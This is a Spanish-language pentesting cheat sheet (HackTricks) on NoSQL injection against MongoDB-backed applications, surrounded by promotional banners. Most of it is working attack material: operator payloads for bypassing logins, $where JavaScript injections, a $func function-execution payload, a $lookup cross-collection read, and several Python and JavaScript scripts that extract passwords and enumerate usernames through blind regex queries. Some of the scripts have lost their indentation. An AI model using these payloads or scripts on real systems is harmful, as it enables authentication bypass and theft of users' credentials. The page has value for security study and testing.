hacktricks/pentesting-web/nosql-injection.md

14 KiB

Inyección NoSQL


Utiliza Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo.
¡Accede hoy mismo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Aprende a hackear AWS desde cero hasta convertirte en un héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Explotar

En PHP puedes enviar un Array cambiando el parámetro enviado de parámetro=foo a parámetro[arrName]=foo.

Los exploits se basan en agregar un Operador:

username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code

Bypass de autenticación básica

Usando no igual ($ne) o mayor que ($gt)

#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

SQL - Mongo

En una inyección NoSQL, los atacantes pueden manipular las consultas para devolver información no autorizada o incluso eliminar datos. Aquí hay un ejemplo de una inyección NoSQL en una consulta de MongoDB:

{
  "username": {"$gt": ""},
  "password": {"$gt": ""}
}

En este caso, el atacante está intentando devolver todos los documentos donde el campo username y password son mayores que una cadena vacía.

query = { $where: `this.username == '${username}'` }

Un atacante puede explotar esto ingresando cadenas como admin' || 'a'=='a, haciendo que la consulta devuelva todos los documentos al satisfacer la condición con una tautología ('a'=='a'). Esto es análogo a los ataques de inyección SQL donde se utilizan entradas como ' or 1=1-- - para manipular consultas SQL. En MongoDB, se pueden realizar inyecciones similares utilizando entradas como ' || 1==1//, ' || 1==1%00, o admin' || 'a'=='a.

Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1//    or    ' || 1==1%00     or    admin' || 'a'=='a

Extraer información de longitud

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...

Extraer información de datos

in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

SQL - Mongo

En una inyección NoSQL, los atacantes pueden manipular las consultas para obtener acceso no autorizado a los datos almacenados en una base de datos NoSQL, como MongoDB. Los atacantes pueden explotar vulnerabilidades de inyección NoSQL para eludir la autenticación, acceder a información confidencial o incluso eliminar datos de la base de datos.

/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found

Ejecución Arbitraria de Funciones en PHP

Utilizando el operador $func de la biblioteca MongoLite (utilizada de forma predeterminada), podría ser posible ejecutar una función arbitraria como se muestra en este informe.

"user":{"$func": "var_dump"}

https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit_auth_check_10.png

Obtener información de diferentes colecciones

Es posible utilizar $lookup para obtener información de una colección diferente. En el siguiente ejemplo, estamos leyendo de una colección diferente llamada users y obteniendo los resultados de todas las entradas con una contraseña que coincida con un comodín.

[
{
"$lookup":{
"from": "users",
"as":"resultado","pipeline": [
{
"$match":{
"password":{
"$regex":"^.*"
}
}
}
]
}
}
]


Utilice Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo.
Obtenga acceso hoy:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Cargas útiles de MongoDB

Lista desde aquí

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

Script de Blind NoSQL

En lugar de usar la técnica de inyección NoSQL basada en errores, también podemos realizar una inyección NoSQL ciega. Aquí hay un script de ejemplo que puede ser utilizado para llevar a cabo una inyección NoSQL ciega en una base de datos MongoDB:

var url = "http://target.com/login";
var password = "";

for (var i = 0; i < 8; i++) {
  var found = false;
  for (var c = 32; c < 128; c++) {
    var payload = '{"username": {"$eq": "admin"}, "password": {"$regex": "^' + password + String.fromCharCode(c) + '"}}';
    var res = sendPostRequest(url, payload);
    if (res.includes("welcome")) {
      password += String.fromCharCode(c);
      found = true;
      break;
    }
  }
  if (!found) {
    break;
  }
}

console.log("Password: " + password);

Este script intenta adivinar la contraseña de un usuario en un formulario de inicio de sesión utilizando una técnica de inyección NoSQL ciega.

import requests, string

alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""

while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c

Ataque de fuerza bruta a nombres de usuario y contraseñas desde POST login

Este es un script simple que podrías modificar, pero las herramientas anteriores también pueden realizar esta tarea.

import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")

def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames

for u in get_usernames(""):
get_password(u)

Herramientas

Referencias

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:


Utiliza Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo.
¡Accede hoy mismo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}